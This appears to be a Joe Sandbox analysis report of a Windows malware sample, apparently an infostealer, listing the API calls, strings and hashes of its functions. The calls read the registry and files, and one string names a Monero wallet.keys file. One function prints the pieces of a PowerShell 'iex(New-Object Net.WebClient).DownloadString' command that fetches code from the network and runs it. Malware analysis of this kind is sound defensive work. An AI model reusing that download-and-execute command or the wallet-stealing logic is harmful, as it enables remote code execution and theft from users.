Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 458aa145ef887b80c8d108ed247ecc2cb2a58ca3ab0cbae46e781783ca7e3d3f
Instruction ID: d600425146791bea78488f74e62bea9540d21c261d4d7cc10984d563059d03f0
Opcode Fuzzy Hash: 458aa145ef887b80c8d108ed247ecc2cb2a58ca3ab0cbae46e781783ca7e3d3f
Instruction Fuzzy Hash: 6431F5B4A0021CABDB20CF54DC85BDDB7B4EB48704F5481E9EA09B7281DB716AC58F99

Function 00BD83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00BD8426
wsprintfA.USER32 ref: 00BD8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00BD847B
RegCloseKey.ADVAPI32(00000000), ref: 00BD848C
RegCloseKey.ADVAPI32(00000000), ref: 00BD8499

Part of subcall function 00BDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BDA7E6

RegQueryValueExA.ADVAPI32(00000000,013CE218,00000000,000F003F,?,00000400), ref: 00BD84EC
lstrlen.KERNEL32(?), ref: 00BD8501
RegQueryValueExA.ADVAPI32(00000000,013CE230,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00BE0B34), ref: 00BD8599
RegCloseKey.ADVAPI32(00000000), ref: 00BD8608
RegCloseKey.ADVAPI32(00000000), ref: 00BD861A

Strings

%s\%s, xrefs: 00BD844D

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 7fc1e13175b36279349746bbc6188239af94fa54e4e187fea554fec4b5490020
Instruction ID: 4c145dbd5371b2faeb5fe48107a7a24eb2ccfae41a5c1e99d4dcea913c70ea6f
Opcode Fuzzy Hash: 7fc1e13175b36279349746bbc6188239af94fa54e4e187fea554fec4b5490020
Instruction Fuzzy Hash: 0021D67191021CAFDB24DB54DC85FE9B3B8FB48711F04C5E9A609A6240DF71AA85CFA4

Function 00BD7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BD76A4
RtlAllocateHeap.NTDLL(00000000), ref: 00BD76AB
RegOpenKeyExA.ADVAPI32(80000002,013BC470,00000000,00020119,00000000), ref: 00BD76DD
RegQueryValueExA.ADVAPI32(00000000,013CE200,00000000,00000000,?,000000FF), ref: 00BD76FE
RegCloseKey.ADVAPI32(00000000), ref: 00BD7708

Strings

Windows 11, xrefs: 00BD76BD

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 44483e605043ded2b5dd2fea2d3981699a158b5e99f0984680a7619e6d99ae4d
Instruction ID: fb89d920e97dac546b48e450918d8616ed82fc2113f4c95e452e3d364bdc1737
Opcode Fuzzy Hash: 44483e605043ded2b5dd2fea2d3981699a158b5e99f0984680a7619e6d99ae4d
Instruction Fuzzy Hash: 7301A7B5A40308BFD700DBE5DC4DFADB7B8EB04700F0484A5FA04E7290FA7199448B61

Function 00BD7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BD7734
RtlAllocateHeap.NTDLL(00000000), ref: 00BD773B
RegOpenKeyExA.ADVAPI32(80000002,013BC470,00000000,00020119,00BD76B9), ref: 00BD775B
RegQueryValueExA.ADVAPI32(00BD76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00BD777A
RegCloseKey.ADVAPI32(00BD76B9), ref: 00BD7784

Strings

CurrentBuildNumber, xrefs: 00BD7771

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: cfbeb868ba9ec55e89fee9d614dda0286a56d9a00d8e632430b0930c1e699061
Instruction ID: ad6b6da27c3867dcd51f292cf8bf259ed08c0ca6dbe21497a689de839acffff4
Opcode Fuzzy Hash: cfbeb868ba9ec55e89fee9d614dda0286a56d9a00d8e632430b0930c1e699061
Instruction Fuzzy Hash: EC01A7B5A4030CBFD700DBE1DC49FAEB7B8EB04700F0480A5FA04B7280EB7159448B61

Function 00BC99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00BC99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00BC9A11
LocalAlloc.KERNEL32(00000040,?), ref: 00BC9A31
ReadFile.KERNEL32(000000FF,?,00000000,00BC148F,00000000), ref: 00BC9A5A
LocalFree.KERNEL32(00BC148F), ref: 00BC9A90
CloseHandle.KERNEL32(000000FF), ref: 00BC9A9A

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: d1136b61e05c5e59f383d3e5b612a01b2e395771af158b28821702b68f6e27fc
Instruction ID: b401fa325ae96b5e23e0a8b95b4dc380217054e076a71e6598919e7765d2b021
Opcode Fuzzy Hash: d1136b61e05c5e59f383d3e5b612a01b2e395771af158b28821702b68f6e27fc
Instruction Fuzzy Hash: FA31D574A00209EFDB14CF95D989FAE77F5FF48340F108198E911A7290D775A985CFA1

Function 00BD4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,013CE500), ref: 00BD47DB

Part of subcall function 00BD8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00BD8E0B

lstrcat.KERNEL32(?,00000000), ref: 00BD4801
lstrcat.KERNEL32(?,?), ref: 00BD4820
lstrcat.KERNEL32(?,?), ref: 00BD4834
lstrcat.KERNEL32(?,013BBAB8), ref: 00BD4847
lstrcat.KERNEL32(?,?), ref: 00BD485B
lstrcat.KERNEL32(?,013CD640), ref: 00BD486F

Part of subcall function 00BDA740: lstrcpy.KERNEL32(00BE0E17,00000000), ref: 00BDA788

Part of subcall function 00BD8D90: GetFileAttributesA.KERNEL32(00000000,?,00BC1B54,?,?,00BE564C,?,?,00BE0E1F), ref: 00BD8D9F

Part of subcall function 00BD4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00BD4580
Part of subcall function 00BD4570: RtlAllocateHeap.NTDLL(00000000), ref: 00BD4587
Part of subcall function 00BD4570: wsprintfA.USER32 ref: 00BD45A6
Part of subcall function 00BD4570: FindFirstFileA.KERNEL32(?,?), ref: 00BD45BD

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: f667d7e7ffa1794718070c2ac4fb90a4349de2de0acda2f604a3368c88cbca83
Instruction ID: c7fbf9bbb9f3bb9ec95bea1491f1d3e6762df1318b11c14cf9674367fc69f612
Opcode Fuzzy Hash: f667d7e7ffa1794718070c2ac4fb90a4349de2de0acda2f604a3368c88cbca83
Instruction Fuzzy Hash: 0B3182B690030C5BCB14FBA0DC86EEDB3BCAB58300F4455D9B359A6181EE75D6C98BA1

Function 00BD2C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00BDA740: lstrcpy.KERNEL32(00BE0E17,00000000), ref: 00BDA788

Part of subcall function 00BDA9B0: lstrlen.KERNEL32(?,013C9238,?,\Monero\wallet.keys,00BE0E17), ref: 00BDA9C5
Part of subcall function 00BDA9B0: lstrcpy.KERNEL32(00000000), ref: 00BDAA04
Part of subcall function 00BDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BDAA12

Part of subcall function 00BDA920: lstrcpy.KERNEL32(00000000,?), ref: 00BDA972
Part of subcall function 00BDA920: lstrcat.KERNEL32(00000000), ref: 00BDA982

Part of subcall function 00BDA8A0: lstrcpy.KERNEL32(?,00BE0E17), ref: 00BDA905

ShellExecuteEx.SHELL32(0000003C), ref: 00BD2D85

Strings

<, xrefs: 00BD2D39
')", xrefs: 00BD2CB3
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00BD2D04
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00BD2CC4

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: e09f63fab336649b9eddefdd2cb26e6dd71e355c30cb4d5aa2d0b8836c3685ea
Instruction ID: 86fc97f4d2d9854281d2619ab71d40f5471993fcb4cbe25cfeaaa71274158021
Opcode Fuzzy Hash: e09f63fab336649b9eddefdd2cb26e6dd71e355c30cb4d5aa2d0b8836c3685ea
Instruction Fuzzy Hash: 8C41DE71D102489ADB14FBA0C891BEDF7B8AF10300F4041AAE406B6291FF756A8ADF95

Function 00BC9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00BC9F41

Part of subcall function 00BDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BDA7E6

Part of subcall function 00BDA740: lstrcpy.KERNEL32(00BE0E17,00000000), ref: 00BDA788

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00BC9E67
v10, xrefs: 00BC9EA3
v20, xrefs: 00BC9E21
@, xrefs: 00BC9EF1

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 73ab5d638e322f8100f8d414016e24b60feb4d5268cd4781f47a29537d92eebe
Instruction ID: 9bfdfbc0d28d14e9a8942e10e2d02db04ffbe62330e453665833109b97435362
Opcode Fuzzy Hash: 73ab5d638e322f8100f8d414016e24b60feb4d5268cd4781f47a29537d92eebe
Instruction Fuzzy Hash: F0614070A1024C9BDB14EFA4CC96FEDB7F5AF54344F008458F90A6B291EBB46A45CB52

Function 00BD40B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,013CD680,00000000,00020119,?), ref: 00BD40F4
RegQueryValueExA.ADVAPI32(?,013CE5C0,00000000,00000000,00000000,000000FF), ref: 00BD4118
RegCloseKey.ADVAPI32(?), ref: 00BD4122
lstrcat.KERNEL32(?,00000000), ref: 00BD4147
lstrcat.KERNEL32(?,013CE5D8), ref: 00BD415B

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: fcd4f33bcf6a1c76f22a9acb24e677c587c8f00bca05ac1e33becfe9eb005c3d
Instruction ID: 31d5483115ccdb60e512233d535e9cd2976d8cc40c41b660fdd4226fbb940a31
Opcode Fuzzy Hash: fcd4f33bcf6a1c76f22a9acb24e677c587c8f00bca05ac1e33becfe9eb005c3d
Instruction Fuzzy Hash: FD418DB690020CABDB14EBA0DC56FFD737DA758300F04459DB61567181EA759BCC8BE2

Function 00BD6920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00BD696C
sscanf.NTDLL ref: 00BD6999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00BD69B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00BD69C0
ExitProcess.KERNEL32 ref: 00BD69DA

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 8776d30d15b7addbfbbf48e10df7a7664498405d313b6b3ae32ff91c45edb2df
Instruction ID: e5aa4c852f6552c1f9c57523b61bdb76b5b6ff84f62488c07b367b3afb98631e
Opcode Fuzzy Hash: 8776d30d15b7addbfbbf48e10df7a7664498405d313b6b3ae32ff91c45edb2df
Instruction Fuzzy Hash: 1E21B875D1420CAFCF08EFE4D949AEEB7B9BF48300F04856AE406B3250EB355649CB69

Function 00BD7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BD7E37
RtlAllocateHeap.NTDLL(00000000), ref: 00BD7E3E
RegOpenKeyExA.ADVAPI32(80000002,013BC3C8,00000000,00020119,?), ref: 00BD7E5E
RegQueryValueExA.ADVAPI32(?,013CD8A0,00000000,00000000,000000FF,000000FF), ref: 00BD7E7F
RegCloseKey.ADVAPI32(?), ref: 00BD7E92

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
